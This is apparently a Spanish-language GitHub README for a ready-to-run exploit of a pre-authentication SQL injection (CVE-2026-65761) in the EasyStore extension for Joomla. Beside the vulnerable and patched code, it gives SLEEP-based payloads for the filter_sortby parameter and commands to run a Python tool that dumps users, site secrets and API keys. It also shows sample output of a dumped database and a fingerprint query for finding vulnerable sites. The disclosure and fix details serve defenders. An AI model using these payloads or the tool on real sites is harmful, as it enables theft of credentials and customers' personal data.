shinthink/cve-2026-65761Inyección SQL Pre-Auth en EasyStore para Joomla mediante filter_sortby Direction (CVE-2026-65761, CVSS 9.3)
CVE-2026-65761 (CVSS 9.3 Crítico) es una inyección SQL sin autenticación en EasyStore para Joomla de JoomShaper, que afecta a las versiones ≤ 2.0.1.
El parámetro filter_sortby del listado de productos se divide en una columna y una dirección. Mientras que la columna se valida contra una lista de permitidos, la dirección se concatena directamente en la cláusula SQL ORDER BY sin ninguna restricción ASC/DESC, lo que permite que un visitante anónimo realice una inyección SQL arbitraria.
Un atacante no autenticado puede leer toda la base de datos de Joomla: cuentas de usuario, hashes de contraseñas, datos de sesión, secretos del sitio, claves API y toda la PII de los clientes (nombres, correos electrónicos, direcciones, números de teléfono, historial de compras).
| CVE | CVE-2026-65761 |
| CVSS | 9.3 Crítico |
| Afectado | EasyStore ≤ 2.0.1 |
| Corregido | EasyStore 2.0.2 |
| Tipo | Inyección SQL (CWE-89) |
| Autenticación | No se requiere |
| Descubierto | Phil Taylor (mySites.guru) — julio de 2026 |
FilterHelper.php:741 devuelve la dirección de ordenación sin ninguna comprobación de lista de permitidos ASC/DESC:
// Vulnerable (EasyStore 2.0.1)
// FilterHelper.php:741
return [$orderArray[0], strtoupper($orderArray[1])];
// ^^^^^^^^^ No validation — raw value after uppercase
ProductsModel.php:932 concatena la dirección directamente en SQL:
// ProductsModel.php:932
$query->order($column . ' ' . $direction);
// ^^^^^^^^^ Raw SQL concatenation
Los listados hermanos de marca y colección tenían listas de permitidos de dirección adecuadas. El listado de productos no.
// Fixed — FilterHelper.php:741-742
$direction = strtoupper($orderArray[1]);
return [$orderArray[0], in_array($direction, ['ASC', 'DESC']) ? $direction : 'ASC'];
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Allow-list check
// Fixed — ProductsModel.php:918-920 (second validation added)
if (!in_array(strtoupper($direction), ['ASC', 'DESC'])) {
$direction = 'DESC';
}
1. Attacker crafts: filter_sortby=price-ASC,(SELECT SLEEP(5))
└─ splits to: column=price, direction=ASC,(SELECT SLEEP(5))
2. Column "price" passes allow-list check ✅
└─ ['ordering','featured','best_selling','title','price','created']
3. Direction "ASC,(SELECT SLEEP(5))" passes strtoupper()
└─ No ASC/DESC validation in vulnerable version
4. SQL constructed:
ORDER BY min_price ASC,(SELECT SLEEP(5))
└─ Time-based confirmation: 5 second delay
5. Attacker extracts full database via blind SQLi
| Requisito | Detalles |
|---|---|
| EasyStore ≤ 2.0.1 | Versión vulnerable instalada |
| Listado de productos accesible | index.php?option=com_easystore&view=products |
| Sin autenticación | Funciona de forma anónima |
| MySQL/MariaDB | Extracción basada en tiempo mediante SLEEP() |
git clone https://github.com/shinthink/CVE-2026-65761.git
cd CVE-2026-65761
# No dependencies required — Python stdlib only
# Check vulnerability (non-destructive)
python3 cve_2026_65761.py --url https://target.com --check
# Dump Joomla users (usernames, emails, names)
python3 cve_2026_65761.py --url https://target.com --dump-users
# Full dump (users + site secret + EasyStore config + API keys)
python3 cve_2026_65761.py --url https://target.com --dump-joomla
+=================================================================+
| CVE-2026-65761 — EasyStore Joomla Pre-Auth SQLi Exploit |
+=================================================================+
Target : https://shop.target.com
Plugin : EasyStore ≤ 2.0.1 | Payload: filter_sortby=col-ASC,INJECTION
[STEP 1] Verifying SQL injection (time-based)
[*] SLEEP(5) delay: 5.2s
[+] SQLi confirmed (5.2s)
[STEP 2] Database fingerprint
[Version] 10.11.14-MariaDB
[Database] joomla_db
[User] joomla_user@localhost
[Prefix] jos_
[+] Version : 10.11.14-MariaDB
[+] Database: joomla_db
[+] User : joomla_user@localhost
[+] Prefix : jos_
[STEP 3] Dumping users
[+] Users: 15
USERNAME EMAIL NAME
───────────────────── ─────────────────────────────── ──────────
admin [email protected] Super User
manager [email protected] Store Manager
[STEP 4] Dumping sensitive configuration
[Secret] abc123def456...
[EasyStore] {"paypal_email":"[email protected]"...
[+] Secret: abc123def456...
[+] EasyStore: {"paypal_email":"[email protected]"...
[+] paypal_email: [email protected]
Requests: 1847
| Archivo | Línea | Problema |
|---|---|---|
site/src/Helper/FilterHelper.php | 741 | Devuelve la dirección sin lista de permitidos — solo strtoupper() |
site/src/Model/ProductsModel.php | 932 | Concatena $direction directamente en la cláusula ORDER BY |
filter_sortby = <column>-<direction>
Valid columns (allow-list passes):
ordering, featured, best_selling, title, price, created
Direction (no validation):
Injected directly after strtoupper()
→ ASC,(SELECT SLEEP(5))
→ ASC,(SELECT IF((condition),SLEEP(2),0))
| CVE | Tipo | CVSS |
|---|---|---|
| CVE-2026-65759 | Falsificación de pedidos / manipulación de pagos | 8.7 |
| CVE-2026-65760 | IDOR de facturas (exposición de datos entre clientes) | 9.2 |
| CVE-2026-65761 | Inyección SQL (este exploit) | 9.3 |
body="com_easystore" && body="filter_sortby"
Solo para pruebas de seguridad autorizadas e investigación educativa. Los autores no asumen ninguna responsabilidad por el mal uso.